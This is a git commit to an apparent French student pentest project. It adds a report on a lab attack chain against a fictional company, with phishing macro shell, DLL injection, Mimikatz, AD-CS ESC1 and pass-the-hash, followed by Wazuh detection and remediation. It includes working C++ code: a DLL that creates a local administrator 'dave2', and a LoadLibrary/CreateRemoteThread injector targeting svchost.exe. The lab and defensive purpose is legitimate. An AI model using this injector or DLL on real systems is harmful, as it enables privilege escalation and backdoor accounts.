Continue projet CDA

This commit is contained in:
Tunui Franken 2024-03-05 10:12:04 +01:00
parent 15a3fb4e7c
commit b461c1eed5
7 changed files with 200 additions and 87 deletions

View file

@ -0,0 +1,35 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "framework.h"
#include <iostream>
EXTERN_C void funnyFunction(void)
{
int i;
i = system("net user dave2 password123! /add");
i = system("net localgroup administrateurs dave2 /add");
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
// when the DLL is attached, we call funnyFunction()
case DLL_PROCESS_ATTACH:
funnyFunction();
return TRUE;
// these are here for reference only... they could be used if needed for other fun stuff.
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 297 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 165 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

View file

@ -0,0 +1,31 @@
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
using namespace std;
int main()
{
const char* psName = "svchost.exe";
char dllPath[MAX_PATH]="";
DWORD pID=NULL;
PROCESSENTRY32 pE{};
pE.dwSize = sizeof(pE);
const HANDLE hpE = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(hpE, &pE);
do {
if (_stricmp(pE.szExeFile , psName)==0) {
pID = pE.th32ProcessID;
const HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
const void* rLoc = VirtualAllocEx(hP, nullptr, sizeof dllPath, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
const DWORD dwWriteResult = WriteProcessMemory(hP, (LPVOID)rLoc, dllPath, lstrlenA(dllPath) + 1, nullptr);
if (!WriteProcessMemory(hP, (LPVOID)rLoc, dllPath, lstrlenA(dllPath) + 1, nullptr))
{
printf("Not able to write the dll to the Taregt process.\n"); continue;
}
const HANDLE hT = CreateRemoteThread(hP, nullptr, 0, (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"), (LPVOID)rLoc, 0, nullptr);
break;
}
} while (Process32Next(hpE, &pE));
return 0;
}

View file

@ -29,7 +29,7 @@
\subsection{OSINT et guessing pour récupérer des adresses mail}
Notre cible est l'entreprise \emph{Peanuts}, dont le site web est \url{https://peanuts.com}.
Notre cible est l'entreprise \emph{Peanuts}, dont le site web est \url{https://peanuts.com}~:
\includegraphics[width=\linewidth]{./img/peanuts_landing_page.png}
@ -38,9 +38,9 @@ On va donc devoir faire un peu de devinette.
Essayons de contacter simplement l'adresse \texttt{contact@peanuts.com}.
Plus tard, on utilisera la réponse à ce mail de contact pour envoyer un mail de phishing à notre vraie cible, la comptabilité de l'entreprise.
Par guessing, on enverra ce mail de phishing à \texttt{comptabilite@peanuts.com} et \texttt{comptable@peanuts.com}.
Par guessing, on enverra un mail de phishing à \texttt{comptabilite@peanuts.com} et \texttt{comptable@peanuts.com}.
Le premier mail donc part à l'adresse de contact, et on va faire une vraie demande d'informations ``légitime''.
Le premier mail part donc à l'adresse de contact, et on va faire une vraie demande d'informations ``légitime''.
Cela va surtout nous permettre de récupérer le footer d'un mail officiel de l'entreprise Peanuts.
\begin{center}
@ -51,7 +51,7 @@ On reçoit le mail de réponse suivant~:
\includegraphics[width=\linewidth]{./img/mail_from_contact.png}
On a appris qu'un certain Thomas Shift exerce la fonction de \emph{Product manager}.
On en apprend qu'un certain Thomas Shift exerce la fonction de \emph{Product manager}.
On va pouvoir utiliser le nom du contact, le footer, ainsi, que ses coordonnées pour forger notre mail de phishing à destination de la comptabilité.
@ -106,12 +106,12 @@ En utilisant les informations récupérées pendant la phase de reconnaissance,
\includegraphics[width=0.8\linewidth]{./img/mail_to_compta.png}
\end{center}
\paragraph{Exécution sur le client Windows}
La comptabilité reçoit donc le mail de phishing suivant~:
\includegraphics[width=\linewidth]{./img/mail_received_contact.png}
\paragraph{Exécution sur le client Windows}
À l'ouverture du document, un fichier Excel tout à fait habituel s'ouvre.
\includegraphics[width=\linewidth]{./img/excel_bilan2023.png}
@ -120,40 +120,20 @@ Mais du côté de \texttt{msfconsole}, on a récupéré un shell~:
\includegraphics[width=\linewidth]{./img/msfconsole_excel_macro.png}
\paragraph{Remédiation}
\begin{itemize}
\item Empêcher l'exécution de macros
\item Ne pas utiliser la même charte graphique pour les communications internes et externes
\item Sensibiliser sur les risques de phishing
\item Utilisation d'AppLocker
\end{itemize}
\subsection{Persistance avec ouverture d'un reverse shell plus stable}
Au cas où la connexion utilisé par le reverse shell se coupe, il faudrait attendre que la victime ouvre le fichier Excel vérolé de nouveau.
On va plutôt profiter de notre shell Meterpreter pour installer un service et ainsi permettre au script \texttt{.bat} de se lancer régulièrement.
Comme nous utilisons une macro Excel, le reverse shell se lancera à chaque ouverture d'un document Excel, ce qui arrive très régulièrment sur un poste de comptable.
On commence par utiliser la commande \texttt{getsystem}, qui va nous donner des droits Administrateur sur la machine, ce qui est nécessaire pour installer un nouveau service.
Ensuite, on utilise la commande \texttt{shell} pour lancer une ligne de commande \texttt{CMD} puis \texttt{PowerShell}, ce qui nous permet d'installer le service avec la commande \texttt{New-Service}.
\includegraphics[width=\linewidth]{./img/install_service.png}
\paragraph{Remédiation}
\begin{itemize}
\item Sécurisation des services
\item AppLocker (encore)
\end{itemize}
De plus, le shell offert par Meterpreter est suffisamment stable pour permettre une connexion pendant plusieurs heures, et résiste aux changements de session par l'utilisateur ayant lancé le shell.
\subsection{Template de certificat mal configuré de l'AD-CS (vulnérabilité ESC1)}
La vulnérabilité ESC1 d'AD-CS est une vulnérabilité concernant les templates de certificat, utilisés par le service AD-CS (Active Directory Certificate Services).
Une mauvaise configuration permet à un utilisateur de faire une requête de certificat signé par la CA (le contrôleur de domaine donc), mais en y ajoutant un champ \emph{Subject Alternative Name}.
Un certificat créé avec un template vulnérable permettra que ce champ supplémentaire soit pris en compte lors d'une authentification.
Une mauvaise configuration permet à un utilisateur de faire une requête de certificat signé par la CA (le contrôleur de domaine donc) en modifiant à sa guise le champ \emph{Subject Alternative Name}.
Ce champ est utilisé par Windows pour gérer l'identité utilisée pour les authentifications par certificat.
Comme le certificat sera émis au nom de l'utilisateur courant (via le \emph{Common Name}), il peut tout à fait être demandé par le comptable.
Il suffira ensuite d'ajouter l'Administrateur du domaine dans le \emph{Subject Alternative Name}.
@ -181,33 +161,46 @@ Utilisons-le pour générer un certificat en ajoutant l'Administrateur comme \em
\includegraphics[width=\linewidth]{./img/certify_gen_cert.png}
Sans les identifiants du compte de comptable, nous ne pouvons rien faire.
Visiblement, notre version de \texttt{Certify} contient des bugs de compilation.
On ne peut donc pas faire cette requête.
Puisqu'il nous est impossible de faire compiler \texttt{Certify} directement sur le poste de la victime, on va vouloir utiliser un outil disponible sur la machine Kali de l'attaquant, \texttt{certipy-ad}.
Néanmoins, cet outil nécessite de disposer des identifiants du compte demandant le certificat, ce que nous ne disposons pas.
Il va donc falloir élever nos privilèges dans le but de récupérer ces identifiants.
\subsection{Injection DLL pour créer un compte local}
Ensuite, on va récupérer un payload pour faire une injection DLL~:
Pour effectuer cette escalade de privilèges, nous allons effectuer une injection DLL\@.
Sur la machine de l'attaquant, on va compiler le code \texttt{C++} suivant~:
\lstinputlisting{./dllmain.cpp}
\lstinputlisting{./injector.cpp}
Une fois le code compilé, on va en créer une archive \texttt{zip}, qui va pouvoir être téléchargée depuis le poste du comptable~:
\includegraphics[width=\linewidth]{./img/get_dave_injector.png}
Cette injection nous permet de créer un utilisateur local \texttt{Dave} avec des droits Administrateur local.
Cette injection nous permet de créer un utilisateur local \texttt{dave2} avec des droits Administrateur local.
\begin{center}
\includegraphics[width=0.6\linewidth]{./img/run_dave_injector.png}
\end{center}
Puis on effectue une connexion RDP avec ce compte~:
On peut attendre la pause du midi, pour que le comptable ne soit plus devant son PC, puis on effectue une connexion RDP avec ce compte~:
\includegraphics[width=\linewidth]{./img/rdp_dave_success.png}
\subsection{Utilisation de Mimikatz avec le compte local créé}
Ceci nous permet de récupérer Mimikatz pour faire un dump de la base SAM\@.
Maintenant que nous disposons d'un compte Administrateur, nous pouvons récupérer et exécuter Mimikatz sur la machine.
\begin{center}
\includegraphics[width=0.9\linewidth]{./img/run_mimikatz.png}
\end{center}
Avec Mimikatz, on peut faire un dump de la base SAM~:
Mimikatz nous permet de faire un dump de la base SAM~:
\includegraphics[width=\linewidth]{./img/sam_dump.png}
@ -215,28 +208,31 @@ Avec Mimikatz, on peut faire un dump de la base SAM~:
\includegraphics[width=\linewidth]{./img/sam_dump_clear_creds.png}
Il semble que la comptable s'appelle \emph{brebis}.
On peut voir qu'une connexion a été faite depuis le dernier démarrage, par un certain compte \emph{brebis}.
Utilisons ce compte pour retenter une demande de certificat avec la vulnérabilité ESC1.
\subsection{Exploitation de la vulnérabilité ESC1}
Vérifions si le template \texttt{UtilisateurAutosigne} est vulnérable pour le compte \emph{brebis}~:
Munis du compte et mot de passe de l'utilisateur \emph{brebis}, nous pouvons depuis notre Kali vérifier si le template \texttt{UtilisateurAutosigne} est vulnérable pour ce compte.
\includegraphics[width=\linewidth]{./img/check_esc1_templates.png}
\includegraphics[width=\linewidth]{./img/check_esc1_templates_result.png}
Et \emph{brebis} est bien Administrateur du domaine~:
On remarque qu'une autre vulnérabilité d'AD-CS est disponible, ESC4.
Il semblerait donc que \emph{brebis} soit Administrateur du domaine.
Pour la beauté du geste, allons quand même au bout de l'attaque ESC1, en utilisant le compte \texttt{brebis} pour réaliser notre requête de certificat.
Voici notre template vulnérable~:
\includegraphics[width=\linewidth]{./img/brebis_is_admin.png}
On va pouvoir l'utiliser pour générer notre certificat.
Munis du compte et mot de passe de l'utilisateur \emph{brebis}, nous pouvons depuis notre Kali lancer la requête de certificat~:
On va pouvoir l'utiliser pour générer notre certificat~:
\includegraphics[width=\linewidth]{./img/gen_cert_brebis.png}
Ce certificat peut-être utilisé pour récupérer le hash du compte Administrateur du domaine~:
Une fois ce certificat généré, utilisons-le pour s'authentifier au domaine, et récupérer le hash du compte Administrateur du domaine~:
\includegraphics[width=\linewidth]{./img/admin_hash_from_cert.png}
@ -244,20 +240,90 @@ On va utiliser ce hash pour faire une connexion via Pass The Hash~:
\includegraphics[width=\linewidth]{./img/admin_connected.png}
\textcolor{red}{TODO}
Nous voici connecté au Contrôleur de Domaine en tant qu'Administrateur du domaine.
\paragraph{Remédiation}
Nous avons littéralement le contrôle de l'intégralité des postes et équipements gérés par Active Directory.
\begin{itemize}
\item Ne pas permettre de téléchargement abusif.
Un proxy Web d'entreprise peut assurer qu'un poste n'aille pas télécharger depuis des sources non authorisées.
\item Retirer le certificat vulnérable.
\item Audit régulier avec la commande \texttt{certify-ad find}.
\end{itemize}
\subsection{Ransomware}
\section{Détection des attaques}
\textcolor{red}{TODO}
Nous avons déployé Wazuh pour détecter les attaques présentées précédemment.
Malgré la configuration supplémentaire apportée à Wazuh pour détecter spécifiquement les attaques présentées dans ce document, Wazuh n'a pas été capable de détecter toutes les intrusions effectuées, ni même leur type.
\subsection{Téléchargement de \texttt{certify.exe}}
Lors du téléchargement de l'outil Certify depuis le poste comptable, Wazuh a détecté un téléchargement malveillant~:
\includegraphics[width=\linewidth]{./img/wazuh_detect_certify_download.png}
Ceci correspond à la présence d'un cheval de Troie sur le poste victime.
Ce cheval de Troie permet le téléchargement de logiciels malveillants, et Wazuh nous informe qu'il est possible d'effectuer des action de type \emph{Command and Control} (C\&C).
\subsection{Injection DLL}
Lors de l'injection DLL, Wazuh détecte une \emph{Administration group changed}.
Cela correspond à la création du compte Administrateur \texttt{dave2}~:
\includegraphics[width=\linewidth]{./img/wazuh_dll_injection.png}
Wazuh nous informe également qu'il est possible d'effectuer une élévation de privilèges suite à cette action.
\section{Remédiation}
\subsection{Reconnaissance}
Toute la phase de reconnaissance, qui inclut la recherche d'informations par OSINT, mais également l'envoi de phishing à l'adresse de contact, est difficile à remédier.
En effet, une entreprise repose souvent sur sa visibilité publique, et on ne peut pas empêcher un attaquant d'accéder à des données visibles depuis l'extérieur.
On peut sensibiliser les utilisateurs aux risques de phishing, mais là encore, ne pas répondre aux sollicitations extérieures sera illusoire.
\subsection{Phishing avec exécution de macros}
Pour reméder à l'attaque de phishing avec exécution de macros, subie par le compte comptable, il faut dans un premier temps éviter l'utilisation de la même charte graphique pour les communications internes et externes.
Ceci ira également de pair avec une sensibilisation adéquate du personnel, notamment sur les risques de phishing.
La désactivation globale des macros sur tous les logiciels de bureautique peut s'avérer nécessaire, couplée avec l'utilisation d'AppLocker qui permet de sécuriser les applications sur les postes de travail.
\subsection{Injection DLL}\label{subsec:dll-injection}
Pour remédier à la possibilité d'injection DLL, il faut activer la protection en temps réel de Windows, qui empêchera l'utilisation de \texttt{injector.exe}.
Mais cette injection a été rendue possible par le téléchargement du code compilé, depuis la machine de l'attaquant.
Il faut éviter de permettre les téléchargements abusifs.
Un proxy Web d'entreprise peut assurer qu'un poste ne puisse rien télécharger depuis des sources non authorisées.
\subsection{Mimikatz}
Pour remédier à la récupération du mot de passe d'un compte utilisateur grâce à l'outil Mimikatz, on ne peut pas utiliser de mot de passe unique, car on utilise le mot de passe d'un compte utilisateur.
Il faut donc simplement empêcher l'utilisation de Mimikatz.
Malheureusement, cela ne peut pas se faire via les paramètres de sécurité Windows, puisqu'un Administrateur local aura toujours la possibilité de désactiver les sécurités Windows.
Il faut donc empêcher l'injection DLL qui mène jusqu'à la création de l'Administrateur local (voir~\ref{subsec:dll-injection}).
On peut toutefois sécuriser le compte Administrateur du domaine \emph{brebis} en l'ajoutant aux \texttt{Protected users} de Windows pour empêcher que les identifiants ne soient stockés dans la base SAM\@.
Cela n'empêchera pas l'attaque ESC1 mais évitera de récupérer le mot de passe d'un compte Administrateur.
\subsection{AD-CS --- ESC1}
ESC1 est une vulnérabilité concernant les templats de certificat.
Il faut donc veiller à désactiver les certificats vulnérables ou au moins désactiver la possibilité de changer son SAN~:
\begin{center}
\includegraphics[width=0.6\linewidth]{./img/cert_template_properties.png}
\end{center}
Après cette remédiation, si l'on affiche de nouveau les templates de certificats disponibles, on ne retrouve plus le template avec la vulnérabilité ESC1.
\includegraphics[width=\linewidth]{./img/cert_template_not_vulnerable.png}
On trouve tout de même une vulnérabilité (ESC4) car on est Administrateur du domaine.
Il faut donc remédier au fait de pouvoir récupérer les identifiants de \emph{brebis}.
De plus, un audit régulier avec la commande \texttt{certify-ad find} peut s'avérer utile.
\section{Matrice ATT\&CK MITRE}
@ -302,6 +368,8 @@ Un payload a été développé grâce au framework Metasploit.
Ce payload a pour but de fournir un reverse shell lancé depuis une MACRO Excel.
Le code VBA de la MACRO a été écrit à la main.
Une injection DLL a également été écrite en \texttt{C++}, et compilée par l'attaquant.
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Develop Capabilities: Malware} (\href{https://attack.mitre.org/techniques/T1587/001/}{T1587.001}).
@ -326,20 +394,6 @@ Ce payload est un script PowerShell, ouvrant un accès complet au poste de l'uti
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Command and Scripting Interpreter: PowerShell} (\href{https://attack.mitre.org/techniques/T1059/001/}{T1059.001}).
\subsection{\href{https://attack.mitre.org/tactics/TA0003/}{Persistence (TA0003)}}
Immédiatement après l'ouverture d'un shell sur le poste utilisateur, un service Windows a été installé pour permettre une réexécution du payload dans le cas d'une coupure de la connexion.
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Scheduled Task/Job: Scheduled Task} (\href{https://attack.mitre.org/techniques/T1053/005/}{T1053.005}).
\subsection{\href{https://attack.mitre.org/tactics/TA0006/}{Credential Access (TA0006)}}
Une vulnérabilité dans la configuration de certificats avec le service AD-CS (Active Directory Certificate Services) a permis de forger un certificat permettant une authentification au domaine Active Directory, avec n'importe quel compte valide.
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Steal or Forge Authentication Certificates} (\href{https://attack.mitre.org/techniques/T1649/}{T1649}).
\subsection{\href{https://attack.mitre.org/tactics/TA0004/}{Privilege Escalation (TA0004)}}
Une attaque par injection de DLL a permis la création d'un compte local disposant de droits élevés.
@ -347,11 +401,23 @@ Une attaque par injection de DLL a permis la création d'un compte local disposa
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Process Injection: Dynamic-link Library Injection} (\href{https://attack.mitre.org/techniques/T1055/001/}{T1055.001}).
Une vulnérabilité dans la configuration de certificats avec le service AD-CS (Active Directory Certificate Services) a permis de forger un certificat permettant une authentification au domaine Active Directory, avec n'importe quel compte valide.
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Steal or Forge Authentication Certificates} (\href{https://attack.mitre.org/techniques/T1649/}{T1649}).
La vulnérabilité \texttt{ESC1} de l'AD-CS (Active Directory Certificate Services) permet également une élévation de privilège, puisque l'attaquant devient Administrateur du domaine.
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Exploitation for Privilege Escalation} (\href{https://attack.mitre.org/techniques/T1068/}{T1068}).
\subsection{\href{https://attack.mitre.org/tactics/TA0006/}{Credential Access (TA0006)}}
L'outil Mimikatz a été utilisé pour générer un dump de la base SAM et récupérer les identifiants d'un compte s'étant connecté précédemment.
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Credentials from Password Stores: Windows Credential Manager} (\href{https://attack.mitre.org/techniques/T1555/004/}{T1555.004}).
\subsection{\href{https://attack.mitre.org/tactics/TA0008/}{Lateral Movement (TA0008)}}
Un compte valable a été utilisé pour effectuer une connexion via RDP grâce à un certificat forgé.
@ -360,24 +426,6 @@ Ceci a permis à l'attaquant de passer d'une machine à l'autre, tant qu'elles a
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Remote Services: Remote Desktop Protocol} (\href{https://attack.mitre.org/techniques/T1021/001/}{T1021.001}).
\subsection{\href{https://attack.mitre.org/tactics/TA0040/}{Impact (TA0040)}}
\paragraph{\textcolor{red}{TODO}~: Ransomware}
Cette approche correspond à l'identifiant suivant de MITRE ATT\&CK~:
\emph{Data Encrypted for Impact} (\href{https://attack.mitre.org/techniques/T1486/}{T1486}).
\section{Détection des attaques}
Nous avons déployé Wazuh pour détecter les attaques présentées précédemment.
\subsection{Téléchargement de \texttt{certify.exe}}
Lors du téléchargement de l'outil Certify depuis le poste comptable, Wazuh a détecté un téléchargement malveillant~:
\includegraphics[width=\linewidth]{./img/wazuh_detect_certify_download.png}
\vfill
@ -386,5 +434,4 @@ Lors du téléchargement de l'outil Certify depuis le poste comptable, Wazuh a d
\end{center}
\end{document}